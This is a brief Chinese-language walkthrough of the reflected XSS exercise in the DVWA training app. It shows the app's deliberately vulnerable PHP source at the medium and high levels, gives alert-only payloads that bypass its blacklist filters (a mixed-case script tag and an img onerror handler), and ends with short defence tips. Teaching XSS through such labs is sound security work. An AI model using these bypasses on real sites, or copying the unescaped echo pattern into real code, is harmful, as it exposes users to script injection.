<a href="#MIDDLE"><h3>点击跳转到MIDDLE级别</h3></a><a href="#HIGN"><h3>点击跳转到HIGN级别<h3></a>
1.LOW级别:
<script>alert(/xss/)</script>
<a id="MIDDLE">--------------------------------------------------------------------------------------------------------------------</a>
2.MIDDLE级别:
对输入进行了过滤,基于黑名单的思想,使用str_replace函数将输入中的<script>删除,但没有考虑到大小写。
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
大小写转换一下:
<ScrIpt>alert(/xss/)</scRipt>
<a id="HIGN">--------------------------------------------------------------------------------------------------------------</a>
3.HIGN级别:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
High级别的代码同样使用黑名单过滤输入,preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。
<img src=1 onerror=alert(/xss/)>
避免出现script字样即可
怎么防御XSS攻击?
1.html编码
2.对<,>等进行转义
3.给网站请求加上http-only